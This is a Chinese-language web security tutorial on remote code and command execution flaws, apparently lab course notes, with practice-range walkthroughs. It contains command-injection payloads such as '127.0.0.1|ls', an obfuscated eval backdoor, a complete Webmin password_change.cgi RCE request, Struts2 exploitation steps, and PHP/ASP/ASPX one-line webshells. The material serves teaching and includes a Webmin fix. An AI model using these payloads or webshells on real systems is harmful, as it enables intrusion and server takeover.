30:WEB漏洞-RCE代碼及命令執行漏洞全解


思維導圖

在 Web 應用中有時候程序員為了考慮靈活性、簡潔性,會在代碼調用代碼或命令執行函數去處理。比如當應用在調用一些能將字符串轉化成代碼的函數時,沒有考慮用戶是否能控制這個字符串,將造成代碼執行漏洞。同樣調用系統命令處理,將造成命令執行漏洞。

代碼執行演示

test.php腳本代碼

eval()函數會將傳入的字符串當做代碼來執行,若傳入phpinfo();則會執行,顯示如下

傳入echo 123;也會執行,顯示123

發現漏洞后,后續攻擊可以執行一段代碼,執行寫入文件、讀取文件等操作。

命令執行演示

test.php腳本代碼

system()函數會執行外部命令,若傳入ipconfig則會執行,顯示如下

漏洞形成條件:可控變量&漏洞函數

漏洞函數:幾種常用語言,都有將字符串轉化成代碼去執行的相關函數。

php:

代碼執行函數:

    • 1- eval()(特別注意:php中@符號的意思是不報錯,即使執行錯誤,也不報錯。)
    • 2- assert()
    • 3- call_user_func()
    • 4- create_function()
    • 5- array_map()
    • 6- call_user_func_array()
    • 7- array_filter()
    • 8- uasort()函數
    • 9- preg_replace()

命令執行函數:

    • 1- system()
    • 2-passthru()
    • 3- exec()
    • 4- pcntl_exec()
    • 5- shell_exec()
    • 6- popen()/proc_open()
    • 7- 反引號 ``

Python:exec等

Java:Java中沒有類似php中的eval函數這種直接可以將字符串轉化成代碼去執行的函數,但是有反射機制,並期望有各種基於反射機制的表達式引擎,如OGNL、SpEL等。

代碼/命令執行漏洞的查找:

  • 1.代碼審計,比如網站使用開源CMS,則可以去網上搜索源代碼審計。推薦站長之家:https://down.chinaz.com/
  • 2.漏洞工具掃描
  • 3.搜索引擎搜索公開漏洞
  • 4.手工查看參數值和功能點判斷(參數值和腳本有關,如test.php?x=echo 等等)

本課重點:

  • 案例1:墨者靶場黑盒功能點命令執行-應用功能
  • 案例2:墨者靶場白盒代碼及命令執行-代碼分析
  • 案例3:墨者靶場黑盒層RCE漏洞檢測-公開漏洞
  • 案例4:Javaweb-Struts2框架類RCE漏洞-漏洞層面
  • 案例5:一句話Webshell后門原理代碼-拓展說明

案例1:墨者靶場黑盒功能點命令執行-應用功能

墨者學院-命令注入執行分析:https://www.mozhe.cn/bug/detail/12

<1>首頁打開,輸入127.0.0.1,顯示Ping的結果,猜測這里可能有命令執行漏洞。

<2>輸入127.0.0.1|ls,嘗試執行ls命令,發現報錯“IP格式不正確”。(這里使用了linux命令中的管道符)

<3>經過分析,發現是前端代碼校驗IP格式,可以采用禁用本地JS或者抓包的形式繞過。

<4>下面直接抓包繞過

首先找到flag文件

然后讀取flag文件

本關主要是在不知道代碼的情況下,通過網站功能點,盲猜有漏洞,並進行黑盒測試。

案例2:墨者靶場白盒代碼及命令執行-代碼分析

墨者學院-PHP代碼分析溯源(第4題):https://www.mozhe.cn/bug/detail/13

<1>首頁打開發現提示key在根目錄,且給出代碼。

<?php
eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)));
?> 

<2>這是base64加密+壓縮的編碼。簡單方法就是直接把eval改成echo輸出,執行

<?php
echo(gzinflate(base64_decode(‘40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==’)));
?>

得到echo `$_REQUEST[a]`;; ?>,發現有命令執行漏洞

<3>直接給a傳入 ls,顯示所有文件。發現key文件。

 

<4>嘗試讀取key文件,直接用cat讀取得到key(需要在源代碼中查看),或者使用tac命令讀取key(可以在頁面直接顯示)。

http://219.153.49.228:44533/f.php?a=cat key_181541630618021.php

http://219.153.49.228:44533/f.php?a=tac key_181541630618021.php

案例3:墨者靶場黑盒層RCE漏洞檢測-公開漏洞

墨者學院-Webmin未經身份驗證的遠程代碼執行:https://www.mozhe.cn/bug/detail/309

Webmin是用於類似Unix的系統的基於Web的系統配置工具。該漏洞存在於密碼重置頁面中,該頁面允許未經身份驗證的用戶通過簡單的POST請求執行任意命令。

<1>打開頁面如下

<2>直接網上搜索webmin漏洞,找到遠程代碼執行的EXP:

POST /password_change.cgi HTTP/1.1
Host: 10.10.10.142:10000
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://10.10.10.142:10000/password_change.cgi/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
cache-control: no-cache
 
 
user=rootxx&pam=&expired=2&old=ls&new1=test2&new2=test2

<3>嘗試登錄,抓包,將url和參數改為EXP,由於key在根目錄下,我們直接“ls /”查看根目錄下文件,找到key文件

<4>讀取key文件:cat /key.txt

該漏洞利用條件:

  1. 系統開啟密碼修改功能
  2. 存在此漏洞的版本1.882-1.920

修復建議:

  1. 升級版本
  2. 在版本1.900到1.920中編輯/etc/webmin/miniserv.conf,刪除passwd_mode =行,然后運行/ etc / webmin / restart,以免系統受到攻擊。

案例4:Javaweb-Struts2框架類RCE漏洞-漏洞層面

墨者學院-Apache Struts2遠程代碼執行漏洞(S2-016)復現:https://www.mozhe.cn/bug/detail/254

S2-016:由於通過操作前綴為“action”/“redirect”/“redirectAction”的參數引入的漏洞。

使用工具直接檢測,居然沒有發現S2-016,看到有S2-046就直接利用了。

ls找到key文件

cat查看key文件內容

墨者學院-Apache Struts2遠程代碼執行漏洞(S2-037)復現:https://www.mozhe.cn/bug/detail/262

直接網上搜索EXP利用

ls找到key文件

cat key.txt查看內容

案例5:一句話Webshell后門原理代碼-拓展說明

常見的一句話木馬:

php的一句話木馬: <?php @eval($_POST['pass']);?>
asp的一句話木馬:   <%eval request ("pass")%>
aspx的一句話木馬:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

一句話木馬的本質是向服務器寫入了一個代碼文件,而這個代碼存在代碼執行漏洞。

而菜刀的原理是,提前寫好了各種腳本,利用一句話木馬中的代碼執行漏洞,實現對服務器的增刪改查。

其他涉及資源:

  • JAVA web網站代碼審計--入門:https://www.cnblogs.com/ermei/p/6689005.html
  • http://leanote.com/post/snowming/9da184ef24bd


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM